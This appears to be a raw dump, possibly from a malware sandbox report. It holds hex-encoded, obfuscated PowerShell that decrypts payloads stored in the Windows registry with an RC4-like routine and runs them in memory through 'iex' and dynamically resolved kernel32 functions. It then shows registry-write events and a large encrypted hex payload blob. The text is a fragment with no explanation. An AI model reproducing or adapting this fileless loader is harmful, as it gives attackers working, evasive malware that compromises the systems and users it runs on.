53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a47396b4f43776b596e4d304b536b3d27297d667138202467613720246761372e6c656e677468202831303939352b28393730352d28343931302d313832292929202828312b36292b35372966756e6374696f6e20636b357b706172616d2824637a352c247875332920696578287a6e3820274a4768734f4431485a5851745358526c625642796233426c636e5235494331515958526f4943526a656a55674c5734674a474e324e3378545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b593359334f795279614455394b43526f624468624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a474a344e44306b6147773457795279614455754c69676b636d67314b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a474a344e436b374a4768734f4431485a5851745358526c625642796233426c636e5235494331515958526f4943526a656a55674c5734674a4868314d3378545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b6548557a4f795279614455396579416b636d5979505441754c6a49314e5473774c6934794e5456384a5873674a485a794e44306f4a485a794e43736b636d5979577952665853736b596e6730577952664a53526965445175544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a484a6d4d6c736b583130734a484a6d4d6c736b646e49305854306b636d597957795232636a52644c4352795a6a4a624a463964494830674f79526f624468384a58736b5a486b325053676b5a486b324b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435235625445394b435235625445724a484a6d4d6c736b5a486b3258536b6c4b44457a4e7973784d546b704f79416b636d59795779526b65545a644c4352795a6a4a624a486c744d5630394a484a6d4d6c736b655730785853776b636d59795779526b65545a644f7952664c574a346233496b636d59795779676b636d59795779526b65545a644b7952795a6a4a624a486c744d5630704a5367784e5459724d5441774b563067665342394944736b636e6f34494430674b4359674a484a6f4e58786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a4752354e6a30774f79526b655459674c57783049435279656a6775544756755a33526f4f79526b65545972505449706579426259323975646d5679644630364f6c5276516e6c305a53676b636e6f344c6c4e31596e4e30636d6c755a79676b5a486b324c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e206e71377b706172616d2824616a36292069657828696f3920274a47706b4f4431485a5851745358526c625642796233426c636e5235494331515958526f49435268616a59674c5734674a484e784f4878545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b633345344f795270654445394b4352715a4468624d7a4a644b79676f4b4451324b7a45774b536b744d6a4d704b5473674a48686e4e44306b616d513457795270654445754c69676b615867784b7a4d784b56303749467468636e4a68655630364f6c4a6c646d56796332556f4a48686e4e436b374a47706b4f4431485a5851745358526c625642796233426c636e5235494331515958526f49435268616a59674c5734674a4846304e3378545a57786c5933517454324a715a574e304943314665484268626d5251636d39775a584a306553416b635851334f795270654445396579416b656d3835505441754c6a49314e5473774c6934794e5456384a5873674a48706b4e6a306f4a48706b4e69736b656d3835577952665853736b65476330577952664a5352345a7a5175544756755a33526f58536b6c4b4445794e69736f4b4449324e6930354f436b744d7a67704b5473674a4870764f56736b583130734a4870764f56736b656d51325854306b656d3835577952365a445a644c435236627a6c624a463964494830674f7952715a4468384a58736b5a5859305053676b5a5859304b7a45704a5367314d5445744b4367794f4373784e436b724d6a457a4b536b3749435232654451394b435232654451724a4870764f56736b5a58593058536b6c4b44457a4e7973784d546b704f79416b656d38355779526c646a52644c435236627a6c624a485a344e4630394a4870764f56736b646e67305853776b656d38355779526c646a52644f7952664c574a346233496b656d38355779676b656d38355779526c646a52644b795236627a6c624a485a344e4630704a5367784e5459724d5441774b563067665342394944736b5a473079494430674b4359674a476c344d58786d62334a6c59574e6f4c573969616d566a6448736e657a413657444a394a7941745a69416b587942394b53317162326c754943636e4f79416f4a43686d6233496f4a4756324e4430774f79526c646a51674c5778304943526b62544975544756755a33526f4f79526c646a5172505449706579426259323975646d5679644630364f6c5276516e6c305a53676b5a4730794c6c4e31596e4e30636d6c755a79676b5a5859304c4449704c43676f4b4449724d436b704b7a45304b536b6766536b7027297d66756e6374696f6e207169387b706172616d28246d77342c246663312920696578286c6a3320274a485a6d4e6a306f573046776345527662574670626c30364f6b4e31636e4a6c626e524562323168615734755232563051584e7a5a57316962476c6c637967706646646f5a584a6c4c553969616d566a6448736b58793548624739695957784263334e6c62574a7365554e685932686c49433168626d51674a4638755447396a5958527062323475553342736158516f4a3178634a796c624c5446644c6b5678645746736379676e55336c7a644756744c6d52736243637066536b755232563056486c775a53676e54576c6a636d397a62325a304c6c6470626a4d794c6c56756332466d5a55356864476c325a55316c644768765a484d6e4b54736b5a574d345055356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a69676f546d56334c553969616d566a6443424a626e5251644849704c43676b646d59324c6b646c6445316c644768765a43676e523256305457396b6457786c534746755a47786c4a796b75535735326232746c4b4441735143676e61325679626d56734d7a49755a4778734a796b704b536b374a485a6d4e6935485a58524e5a58526f6232516f4a30646c6446427962324e425a4752795a584e7a4a797862636d566d6247566a64476c76626935696157356b6157356e5a6d78685a334e644943645164574a7361574d735533526864476c6a4a79776b626e56736243786255336c7a644756744c6c4a6c5a6d786c59335270623234755132467362476c755a304e76626e5a6c626e52706232357a58546f36515735354c45416f4b45356c64793150596d706c5933516755336c7a644756744c6c4a31626e527062575575535735305a584a7663464e6c636e5a705932567a4c6b6868626d52735a564a6c5a696b755232563056486c775a5367704c46747a64484a70626d64644b53776b626e567362436b75535735326232746c4b435275645778734c45416f57314e356333526c62533553645735306157316c4c6b6c7564475679623342545a584a3261574e6c637935495957356b624756535a575a644a47566a4f43776b625863304b536b3d27297d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\ProgID\ = "{030E040F-050F-0610-0711-081209130A00}" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\VersionIndependentProgID\130A = 6863e1fe69d83cf19213ffbbc9e4258301e344a9234c0a2ae65eff26803c56a0770b388d3cfeb18317b0d4f87aa803d9df6e29e42df37e7cb54935c4316c3c32d6343a70f7addf9f722a92da0f542244c540b9378517a55ce7e2f327cabedbea259eed779bf1a6b49e8ca8bfd662b34eb5295963fb9db377bf07a9cb708fc729d3e9541db8924432882b59053170c5b5b42685379a37f6122c8eb42f57930ed3e0e525d4e5985d4d5ee4c2afbac3eed474d5ca69c52bb9b8442deedd53d91189fe879ca4a22b0b189a9678fb0f82f37699c7832c0ca3ae16ae4188dc04b5a477be8bea71b126dd736ca09c1f9e3e3115a6df6be5f0b7c1faa09304d0df1359ecd8db1869abb4406a4e75e23b7078816acc897c0039f2849644031b6d64b1c43aed6747fb7cbb6bf5c98d3bb1fdab8386aadeb696883b6a4f4ba43e2565fef32d2acba4a3da2eb05631bc9eaa1bf99730474b0470420a222a2ecb0d1dd63b9fbba2d070c8e141c7cd2b18df5abd092e567f6d10c362fe5538828007fd9978519177f14728be62b2ed90f5ea989db7fd4071566b799931e403b68208733550073f8efc931c348b06f2a36440171d581a15816673c189e521f8337e69b92dc0f2de694e31adad46af4fa490d495f2a0f1a670e4fea88a55315ecefd821e8125376f4b4cc47a14e6b3943493b973d85f5b3ca5a21709e8becdbbfabbfb836e9d689c2f70d26d5faf07c94d1dd8686c281b04b552d08f906162c19ccf9a2778abd9546296a39a60aef6f24d2aeca7734e71b70bbf11c77847595457a07f84c4786eccfd403c1bf5fc5a766f33ff8c31e3d759b86c959890b64d3e0c17bdc78e03be6dfd735a413cb563eb7fd6b38d938f71a1406a49d381ce267f057ccfd13e6d94a9c2271a61e51059448092b7c6da895920598a306eaa468046e68a1bfe49a65b1f71dc28d04c3e19d1919b5bc80b02b319185735ee4b4e7ee500fcc7b8a6c9d89846cbae67ca30e17a1291758610bdb42b646469f1deab464d3e7461a0e901bc2d28455ceb44df187420e980d7094f08a507aeaff956df6d3fb173a2a7a6f45c586904017303c46e3b8203c96935bab4bb4f95a7f982e9289e80376bc9ca34a9b3f7a4819e8ec923a5658dc076108a453be9dcacf1357d82cafdf5cf51b3d5cb3fd40dee4b19f0e641cd84b97deec55ffd6ebb2abd269056f1ecf6378c8b12e8e9d815814c14d511b1d4f86d31e538ae20335b54351c0cf56bd0f0b6907f9eb7eacdb5b8bbb43893622cf1e493dcf77617a74b5427a11b3464a4ad17fca8f84ecd3a954609ef784dfa552b94c56fa33ada4f485b251f96a57be5eceff421185432d623fd93abdd082a6a7293cee45426da24db5e1f20c6650fd3e9baad64581d0346f0e9c685ea10aaa3aaf0bc711830cfcde0fc912953a35c6978beb587a3741106618e1fef0b6addcecbdba69507d61ec26ffa4df6ae0e27e2a5b7a2e9c73ba991ee29fb5da290765542f03f82ff300dd882365304bcce539cfb07cad9e28594ccf87ea36a9c587d4d00c8d4c3e0f3a2fd07dee0c3dc426fd4379311c2d485ecf3bb4fc1473a55afe597d5eb15d26aa52a1553f3dccf98ebc3627f74a6e62bd41036608040fd5681b4579e62355ca15c7d0e2bb407221d7512ae1e5593e6c10dec12589226f9496c19de2ca9e3b19daa091fd63c381c72ba8af05e91cfa556b90cecd243e45ecea05e3eaf389d9d870acb867a115ed54c3cf2b5c52b048bb101816800328dc96220056a14cd7d1c896bfa6470176a940e4a0c6b8dd81fd1841806d1d8b23b079643d0b40ec736a98cad664ff4888fe1670b2e924acf17e325de9933d9f7d016164e68a409f1ac45abea6d844a748c7974112e27f7e3d97b45a01103035d881568c8af6cecccd7e687056ad0285f4aa3fb8d67273cb7d14470086b4a58d2a73be296c735f2624d1c836ca484b16f61fbf911d250dafe7e7f75d9677f58085cd62b3bc400c7589278b02baa41281f274e18c7f2433de550800740c31b6c67122b4d297aad3c3351467727dbd4e160e0661c4316233d222b12e1cd9a2516213214ca80c3b52aa010eba9e5a074b81e921ab6c5e669a62a04a2b0f1fc9c2312a0d290d54afdcccc619465ee0ddd138bcbd71285f605f4706c2ca5f68224746d5dae181ae6f8d96faee90c49f648a92d139a6a5a8dca9588ee5484f3ca0ba576b7edac2383446893d635cff4a18d0034ed614d203e4d29795a1b67a54939bde1022524d90810d15242d6a85db2c90c10b4fbb99e1304d95dc6ff2978a5328b472dbe5377c123c84b473c48f7b6a22ef783a24b41e2a9720fac657e33d9e88c5bd6054467334629d803088b58b70d9adf2a5d26c2f3e1bd2e27bfecd3afb916372a4a3ddd6cc386688c9409a16b89f132265fd9906386cb04e40b6f4e3185f9bbb0585ed821d2478ddc9cddd3f51406b92ee141426a2bd82fa29421a65abc46bc1d0f4c0a8021505f451e705957f3b55515fd0d2b9791405568013b30b4d5ff852b8a977ae9a844e864e56f29e497ef9c096ae6908cf9f36152a906a6d0c6f93e0fd165408eef761ecdc45e92640d9e6cbb6d7f46da8a47b3077635e034da4259f6f7add231a1aeeec231fed824f4b0d6c7573676b8cc7cd38322fe07492ef05b11059d96fc9b6f01a4badfb234f9a77df573a6183ddd32fc95faa698dc4c1db3ae88aa02274b8c397ebcc207da4e83cbc0420532cada125c28cee1f8a96f1d5f9f57b94f00154930648be419b0d588be2f841415bcd9b4d60529819983aadaea4b40d5628719d526da454966266a79586c8997cc60058c307ed48dcd0bd799e164fc2382a0023fcd0ce87931c2fd6aa3dbb520746dc8336256ebf6b6a0c46d5eba91b2abfd8e679c62ddde04230bf92e126ee41066da4907bcfff92ccd3c54e003e5ba38d8e48f441a823467cb5b0fc92f0fb0744050e5e0adec3c5253ecbfc0e8830e2b0637f718fb67c543ac1298907a12f021ed4682579e1fbd0fe5c646929bb9bb7774f03c268a2def161c6e558ddbffe067da18870ad3ce3c466d9a855c2ea6db40445b797b78a2444a96a62086d9bb672f7a68b346043518f4f7ceb3dc5d6366cbb26698172aab2e4aaef14b3f08d00eb886057028e273b5703d8f58bfb36aeda949c683dde7ee49dd0a3def162085c29e3df8a29bcb13d007608eddfadbf066b9ce16447e9b51790e8ab8d9dbc19e179a05d7d055df6c9feeb28b4ed3f37f999b3d3687c761a255cba9278371c88eb0cf087d49414f5e44c00d61d07cc692cb6684cba3a9611ec41ad2e3f2813c070f1760df425479eae4567842a9b2d252f6d5567eafc2fd4a3f4f62a843ee86e01443ff469625a10abcd1efedefe6db555171f3c8bf689dd8c6ecab7ca9d92c17f0cb4044ec43d416e352076ac4d2b4fad570c1899e48a6acf6f47221c759085fea89e1478dbf156de617b8f393ef93f5540dab1da42a73698705b983c5c0fe9d155d8af07186e771d8de7ed97d326dc5d93327bd59888375759cde7604079f2d88c006d69414140e916fc2d984b87383f6b4f2f2cb50ebfb200350a57f613072f0696c02b20d9688a274c21e06b5d943fda3520b815f7b23b80f0bfed7d9497625f581af910169cfceb2ccc6c5a58ee527d09045d3f973d78e9eae833d214ccd7173c2030e14c54080a8869fddd120e18c3dda7bf175f9f8fd4c6eb70e58ef3e509e26bdde16ad2a2cd4c827bc782ef13fdd0f0550094e0999e74f88b677fe7fbdf91210213872954c62474850a2007ef712547ca963a3fb18feacaad1f787a1b5057fb69e81914131dc5bfaa9046983eec1be9329e7dc31826de60cd49b4c782c21e43f64e1799588f48cfcef81323c86c7ad3942615aa9d349405536945a0054f8da5f5c3377bd97e66d3e40789e59b501d0524237b69ae6193f8300e4197659ae1b8ffd1369fd38b1a69316cc7cd8a66092eaea5363b04ca7c6a48f3c525075a2cf400769415ca2e35542da40a6f71f294ae513718c93c0ed03e3f8fcd6c39fe8cbdfc9a4a9f5942167cc26082b93fb9bd7b01b9b9311ae5219377648175261f44eed7bd745f2bfa23b5beb51553cb5f469384090d63befd821e848eddf1f298e7aa972c856d77cb72f645d3e7f716f42be558b8988c9b893914d2e71012798ff323e0f6df0c58b2d57af73b17071f84328db85c84fb654c52b2e4ad302853120dfd00c818f63040a72818b644b4d561e40aad39ad4f5e37b6fd09a98db62e66ef3f2c05a5dd9aff3769c6e188545f011799856573af27b0956bd16e858524701062214f706e8af7ce103434c3732670516154522b2ffc14c23e21ee3c873d65e31923cc5c95ad70e666b8092215c6d7f3b75bd8a22b0a247d83d7e803f022338158b96ad926f28056da672c1649387df14359d1ae730d424d1a1a4e145761c7559ff7e24b95a2705b205a84d5eac93b4c50a797e198caa9cdb956a6fcc02763dc0eb0526f6f33b5b933183cd1c07c9e9d03c9bd1447bcc2ea96377f9e7467557a2de1093b13154b649dfbb67be6848df1c8257e1c9bf909a6a8ea46c7ff77fdf1820265a79015192481508e409cba0d25180a9e3bb0350d018bb54f749eae17c5381078ae1864d21a6d0d7c39733bd1c38b74c1047441c5a08ad6e60f81d798e54f16b893f8a9836b366a8baec93384fbb72f2f51a4a74f0571a30b61d8e05e5e0ccead9acdc8dbd7224e159ffae279fd59ee8159793416803d002ef0b0f0c55190d20698172dbd64a16eb1fdd7332bf5d306ec471c650f2f64ba4476b8e5b8fcf1670c32014f48fc5cd0892044c8d6e5ca0db8fb12ae9b7c56a7b3c4f8992924551e91f9b634a366c38c216a8d8154a06b9196b7a5ce7e3c8803919c558e60f26a2e7b99fc1bed2e4911d79b6c7820993b80d370f8bf2354c2fe4d472bdbf008294b81c9c8cce2a068e8aa75c49b6b73bc6a1c0a08ede68dbb99bd7d64fcec100767fd22d16cc26d333e2cdfdca8ec55cf3247d673d9dbc387c90a43e4a8af96abdaafae909c5b1cc56fb2e686aa13440d9070fc7afe57aa8dd4b02acfe2c8b7aa4584108583ace0aaa6e193c94f002ecd7f4594aac0d7df2a088ea6c8439c8e8202b9980807997a4f07bfefb8c65999f0c66822c5c017d8113483f4e1972a68424b7fefb5c44e1273f6e219d83c98e74649c903bdca4649e45964d9764fedb433f7c22c4f1aad99b219921b084cf8b3b94f2814226b49e3862121d1e4ad2852ac5032547c90113f7ebea699a0685c75e6dede167816e72c59ec342c7dae21a0bc2a9b72bded3598c7761c1b00071da2b9fb82fe994bc59d273bfa6ac68cdceaae863a866590bf809c3b2ebbfb3adb4802dc3e3ed2569d8d2ba50ba74adc8e76bb16c9017c45f9a47589d829a23806841d663617420f423edde158c84b45c96718a3e78d8568b802d7294346be32b70ead55c8d47f2bcb6633b5a13d79465f8b9c6a70ad18a37898b84b22d85d1150cec8b6a2a7f7cf0936481795135746ff1223fce41abb62c639acd86816b2af8424f8058041f9b6d6b8c0b275c56919b3f4a32aaa111864db410cb885e82c30df67a7b1aca8db3b5289c7fd2899937722b1bbb78e08cfbc93c56c12f288d6787a7d079921516d274eb0cb30c052bcb89e937f5329653e417c6b8fe51a0c4ab064583a8cdddcf8a78db36ca49c9d638683f3ba67a690a12ed9e2ba22a998144bdc338e40e0c230445e97f060f9867574cfb6f10a9bbaa0d492d45eb8f43bb3dc5c9e5a8078821ad54476a624146ddf322f89b8f46549833874a42da639d54accced3c83b72ccfdcd5aa25f018e72d32a9568a2f492f9628c6bb3a4eac3c6309a9b565cdff2e097f6414f4ac54ecf0d93a21e5526d6838c00e82041f560f963ac2b78c9a194609af8021252c14d2de79bb38748067bb446b08ec21de790e0ec2228788c137c80de91024250b2c99535974eb41bbcd6f719bc9ceeae2343b7cac091fe635c8cb1fd5ab7cace53402681b54928d0627361c0a305ac08e93b0727a521b2e9fe066dfc62cb99863c03c62c84de564ecd3f2b999b8a9c08e1e1d7d4149389b11ed58cac1771a6cc844f3b86ca1d5df779a63cc6a0a742ca89e882eddeb04beda536c0f0f6d9c2dee9e3280b926cb69a5cb7f618d868e6de508afd6f51cace8e5aa4042740df348fca8c919e4f854e854cc1f0db5f1a90e94a16ec1fb44af070085f4aa0bfc9397e4661d4109afef61c358f339c4af6cee546a1b131605e7608a96b3d90c59cf37be8ced89c2cb7f94837146b527e664adbe67a4834fa13e37d2c244339c0910eec5df1bfc8562e902c66008dad0ceda19b00f987873123f76ae5ead428b7129a56eca01d5c40fe26318ce3914089faf3c06dbf6ca45c9cf558fe91932e6ed50ccc05618d9f449819f0ca5650c0f2808eba36b7f9f3d6ca752392b7c476e3e36222b6dc6e9d7e181119e37842b02145b7a60895dfa79a0db0cbb4050b250f1cbdba04e7cf43fd2f7f4e717317c2495f8e261bbeb4d1ac7d653bcee4038cca3d766a9736350c391818abb8894eeb236f4a046d441ae5ba857a5769ee1ef6a10968e2479ad2862a34c3e0f99ad685c883664b84a7f15f40f65fd47d2e6cc09373e947cae1d1154da33e4f2ca5cc755eff9e2a59bc304217b209b4fc368798be78f791c9a2b9b2d878de55e0e948e69f45ca128011684e921ae79e83fd63f26fd7738b265e0a991fb0de7bbcca34f5539d54b944784188bd7344aa90542b1238cb5af279796668df18259529e6afebd040371fbe99002d8b6652dd0e0b1e4672984e7a3870951d9b3250986e8b738ac34f7226ea8b65bf243a7379fe4017a222309dd3ea7c422a30ba0246f550fa6000f30660e401964dc343148c07d4f922fd87ccf424252047a98e9f0b5c8317902842ba828c230cfbbb0a931b8addde2a713c90eb09e6750f49525b7384c3d143ec760fa8e7cfb82167ea2de9877f713ec4fd63b5bfd891abea7971db93c2fef32952a403e52994284230d84bcfcf6aafc8979d822e3c3a2fc14d1822410bf0276987a8873f2cff5a76486bc3c8afa048c4bfb70ba9eca1c7df9c6e3ceb2151fd9fb0b9a4f8df5e4ffa2c9b78a976620de1e69018317b4567bfea684b868cabb486d8ed60f7f4291e80783a529cfd1ab15df7bdbda06ce97b3d1e69deba47a8e23dbfb7354fcf1cedc6e3e16b7b4ecec444374674c4c97f6176e1885bab5499b686f5fe0ae1de055b668fb9f9574603d7a206bb03f633971c60aa499a105cf6d9585d486db3a5088523035b8137658ac629512bf7be249b4a18919442f4911ae4437dc5ebdd532bf78c2c9bd66419ec7edc699fb4a160ec8ecc088a128367b8daf92bb3c84427c3f62cfa3cc3c58d18cffa19e6ba0cd0a8eb1d65264bb21abe5f13745845b30fcd7a6634845a3d80ce95575789fc8273848d62969bdb18876d2e7c2bd2cbe3d48c40c5ee4ded2817751790562ffb21598cc2e3044b88704413f3b2f846ecb6cc796eb36150cbe19b3366daa995a4d1d21fe4cc8099e5be3464e546089d89874a6582f54e24b693d50300daae2ec7b2e482c1664b209ab30e6f08d312c194a68c4f5a772409a446cdbc7222da5474c3d9985929e151449a514575dc75828d21ed6c0bec2354ba2c0d446b608d5623ea9615450d15139cdf90a94197f5880775274da7c2106c0a8dd7b982fd55b8896d4df28406ce7e77a0af180175032188894cc4e4cf5328f7c498825236ebe2fadf5e5c182ff040104fcb6f91c8d5df0c2674e9f381f3e45e330c6235f8b952824bdeb2f50a5b0a7a7b51dfd60b7d17f46e9eaef53ee62a7178c73e5c6561f6116bdcc04763d42c72b6c346dab618f7dde81a697c5c1b61a439e1ac37f7174741cbb460ea9a58555337505b5c0c581710f2d5a2f8ad78b56894278d4e05b5c133f23880e383f4031e86c797d20d4deda3e0e3aec3b437deee090f4e549ae4213d82b0f98002323efbb31296a63001b4696a9c600d2d4a7feb55de117e7384faa64d6937a07bb7864b6606f49939ec4833855fff26321705b6d74e60adc9b66c69c8e8b703d299df095e7ddeeb69dcb2341523a79f06dda12645b9bd4c3c3dd29993535677ce23c709170cc44b46eedab138f1c7967aa99bf0414554d73a5070cd6fcd05f21f79f82ef9c92c5b7225863c84789b4aa4fdaa853fdef7d85bab6b4ec3095cc60be9bc3c3a210512553fd5a8216d5e8dc3f2c7b32b2a697c7d168bef00329bac03650f58e382d005aaaf649c7830959cf1e322d28832b94c8c6590a74055ff6c237ccd75c9002c4b674c3fbc251ec8f8284e90a5f9c16ac03b23c872b1e31c9ef6f65c3ad84f0be55a629a2103720410cddb6fbaeed8930e71eafe4fc34e14a2dbb650097281d4d579cde777f11819e60d6611df79684246e9ee856b37941195fac516485ea2c4aa739ae920752a3af047d2e5e574315a7c5d43ce6f176db7e74f0abbfb81c4268c4c2b0e58e103481effff5451a14d47780924ce31f508ea8582a03420730a93fea79d17f922384b46727adc5647a5e43cc94e87d8c5e9da33fb7f78febdbb14c5594bff3791aa6f382d29cd0910a744d6fb18a101c5cfbb035b1ccf6b9e33fd08e16dc4ef17283b190e675a3d61755532d8595a5c4dc6d52f25eb2219e7a572e442bcf169a584288f988396e2fa170d5015b2abe744a76d21391f9235fe3e72a2ab2bf97dabdcc96829d7cff7195215b1bdbd35640138dd75b950c8d990991e073c4d8530fc9dd265c5da01012170cdd71a9297814dc61605a0249f3b7f510e5fb53f8f94004fa61e0f58a94eb051a9f6589cb94cbf767f3426eb857fe6b052ec750a1839d2dc487c9014c9b3b1f5b7af5020fea6460b60a0b46a31e3d4f1b0622954e3500955562556672db6fb0590f740d752b10f3b46abb7370bd073a15009c652ceffbc775d3115db1e70bbe4174929852461ef7b6cde4f9d89eb91dba67411151f6d5aaebd90ee306bbe6b902200855517688e4bcb4c91a36daa3277d17676e1f1a1bd930d1fc29f42999efc07647cf35af027841ba38a80c2e51f27b9b5eb13e79d17a27590379ce25bacdd04c0bbb53d1fa2091ec77030a5d8ce9a2053dc365a5d0cb90c104b0239bd39e9c07ed0544afb10584986e951cafe7a9c07c29526994f4100dfb60fb73d5bd63558edd5ac98f9af4fdb15adcb11ac3e58b595c50bdf470a46ca1ca238e79f66da8cb08d4f940d3766379bdbc76f8a672ce84cb2aa454ce33bca9a7ef2a3ab6fda5e3767871144bb2d658881ddfa6edb4308e76f7e4673fedaffa0a0e57af0986a7c9556b2958bf9a59991e64ebb96bb04dcb84b5297a91ff106af508d0b42eb11925b3a605489a05cff7b7a9c6b4818315b264a296c1e1b4ebed168067fac74fa29a90e19a1e5769d088a359fc6d51e2f2cab685965f4f26228c1515407e3a0312f0417778c529463a89e4edc52767b9af119c578553a9122f21a1f2c56ee4ad5414951f459cec58808e0a176ca925737817a92ad53754f9db497836bf809a018b05fc2e6b02db700d7e07acab371c0503651fd4d864b972c6ddc4db13c6f372e34718fc4d32be50a29854f6162cab532edc0956d1ff1360d656ffae6191552034760d1c303d4e1ef4066a86cb4643951109fc546de7198835d6e0a996e4fb46dc3b7ac8fd50b0ba15cee81534dbaa260c633dd27875144e70b1a2e4f38daab7da5d7d5b94848dd84aafa68649844abe1b04895f4c6f3e1d17e22ad8459613cf15a7a38d9e4c5e2be967ed451a74db154732ab09d4155894c7a0732e9b5fa9c66c172795c35a68d86fdb653ca75fec90fec0c328e8a353c6c09ce635b23c440a9e8ac05e4b976f74f7aaf59e17a60bf699cfe548578737fee14f19e4a725976b8cb0fb4e3992d75292e3e5bdb3aef088ae8da491a600992861a6d4a226b68a881024e71d4c0a1173b9a5d0b1dd50ad23183065c522f3f5d86bca521f5daef2dd1ebd8d77ec504e2af5edd835955f547875eb761562829fae8c8db5f3c913ce24b54c57fc47f5058edeecfd215bbd35123c0714eb516c08aedca2a5192710c52d7459d6d32f62a8bf4ae88d959d6b3ef12e87e4d513223dc0578a5aa2d7ee7ad8eab57728c5ab277fc1a66b56221a9a7828c1759dba4f006eb45ee4a0c22c04fe3390f51f20decaa2f26294a59b7429b87e2f90a21496363ddc65ba020d502bf55d5052227b3cd7124b4acda11bfeaa8e9d2a1b014bdd038d04e2e379f42ded6b87cc2cabeb845ebe4754cf7000e052b0f1fe90932c4679db9e4f00b8ecc2543d7aa66dc271189f449135e066f144332c87cb7a6eb99edff67728a81a48cee74ffb38b01e718f47841dced641024bfc524bc55da275deeb152c17a6d6284c25e7a64f91668fa7793cf7f82c528ee50d747c3d6e30fbd05ce7e0fa80f5a050d20a6aafcb584a37d289d6ca07d635f6afe8c1795336e53b5cad4a1430fa54621e680a1c649ba795c973077b65695d8dff1d4fb0cc104028678bd6d32b1fede8ab073c4435c8888354e85e8062b703dcc9b8c5a5bf9e67d89411be670cb18ed443bd353e2e7f0345d4acc5321fa73d575f18fe1aba6bb20dd1535f0a70a9a6b3745e58bd12995c70ad59ae10a39266e9e01c32f9de4ce34096d2d7a87c2147274d0e866908630db90a1d0ec854bea14b71e6d3d69a2f841249a18ed2bdaae8c273fe701969d934d19c5a40958435b09a4524b7494177f6c29dee7a82f79027cb38d6c7500c2fee893f70189ec70fd2f8f8a5184b0c11b3d70f301980ed6d1d43aeba71145032cee4a111fe42bcf2169208effebaed08940993369c61aaa930939eba117ccaa1b5746f133d7ae92852480af42f5f1f1f727f95f64da568673b59700edbc393837cf7d82c9f1993066132fd255891f708aac820fd978d85da83d3a94e1de8817ea5a4ff5e21dfd90b006b5a60e6cac308ad5606a301f22424ccd16e83ed7a69798a3e744a1909729dd2fe3c98b638b679584c84fe96dff6095b0395001c6ef5df5f3c5216dee66521b3900aca22d803e40c350eb8c5b01661fb810077c1b34db4875ad045e07e5418b4c74b76020497ee8050a80902323db20c3ed86b2fc0ac4bb56c4d23fd0a61ffe876a6f285848b23ee61b1929fec28351e03e998b6004dc87f69497dd0bd121f15c6e595122333c8c5b7aa8dc79bed3fda60ad12574c94da5ee406ebff0d5cbacf9f6fb10971209fd06e58a05f6d8e760d3aef2aa0b08ded2afb0eb065c5cb91dc9e8fa5de3daa1c8ee42bb158d167e5ee3b8f609742a070e5cc491c401a6767cde5757f4cf7ac4dfc5167e44df7e14ec415d67d8ad619c7c2f2aa1e6c09f5e0390a92112b43376c29e03a5ccfc9edd4e9af678fb620ce0757e1a4e7717d578587a99dc0ddcbccc306f904ff1ec55499f7ea622710d12acd858568ed7fd08a07c85c57c5a963141b4667c118b2cf8f7216bea9f67d04ae6b05a39180c5f123ff74ebcd3c2da18fdabe383e0ac4ede098f894498ab31707cd44b645deb440d92e9fab52b8252604a8581c3e6aa22d00b9d56351b41c84ba58656d76bc2e7525fe61fc86d12f3ccfbf3e7db2abeb3cfffb9b7ad44444cc49419deaa5a886c8d9b4b0293c44272b0fb62e8e780590fd1fbd1fbb613a861d57b4acbf20571776aa541040fab74d824769fb24a0d72d2da424dff015cb51f4425924af790598fee1e23c041692f2ec9a21e04e35bef2af205b9bf6cc36041182f4d1b05f648ffde85f44f322056716626948b0dc1b5abdca36db9d0b42bbb78bceccf053cdff6f85df7550e9d0637bb03aa76d5069f9cc25809eeb00974bbc0fe6c841433d79cd9a9a5b1f747df3dd0fa44f0b5c33b1fef890f6874af56ed921cb05a36050b0937e0792f18a0fc507bfe33358ddd629887ebc9846859532e2be7f3d109144a322df3e84ac359fb3945e39bb41475babf10ae99121d8e408585d5ff3fb2b5fc243d2af3b1bf004bcc90ef7333a081bbd8cb2e473efe89e4bd73942426705b7263fd032a6b19f3fb54ddd9497af477ad2cf46a765b4eef3737ec7d4780874d4458c7f0c029b8f6b87b4865f298c6f18056483a9e7b0c92d3ce29530fc29e8fafb8786dbef8e3e2d61dfa2c21cd01b197f8a327c534cbea02893a9949ff4e94a5f15e735f0dfe2306b7f8d7e8eefd278a09880043d68b1eaa71efdec9faed3aa0e59776b870c9a263d838a5fe8300e0a106b6fa767a535e6e43d7531389f89b4939a304dad7b2e97603a754bf495c7d3635035b2911d75d5404b9dd5fcea28c40805695cba5d8b39c49a6f69f799216adb0cdfe3793e96a31f489edfe335c55b74f74a1b9f8a284aab909299378d1f8b0e92ae5fbc44b18a74a0cc0c0317fd7b31d99a1ee3b3352f565ecf20ea813bebc9e701ca5882f68b9161fea3d191b4f4d54e16587358b1b522eb0ba2935b732a826c1518db75cf4fa316e1545c8f786ec939dbfc05a14773d92f091c38ff14a9a308826d6b588b61df1b567eeade03a20bc654846ce12a5cdb9a190e6ccbc547a3594079021fc41b3b92315ed99c9c28701aa5afef0b370dba25b1d37f24ea331a19703984e45ba3c62a46cd64c3d55c501f74a70510135aea8b553b4313d06b169129fa58c33884da61c29978ed91980e4a2a59a2edd29e0f2824cb008f3e53712e6b6208e0f04a8e2966a70b78953e35e7816bc696d287a4c1db0b1cbfa5b86dae2bb91648d92d92abf830fa063e516fc03caedbdca698a4cce4ceb6b09bd1925b626eeaed5744c145f353dc1033380bf5e57a341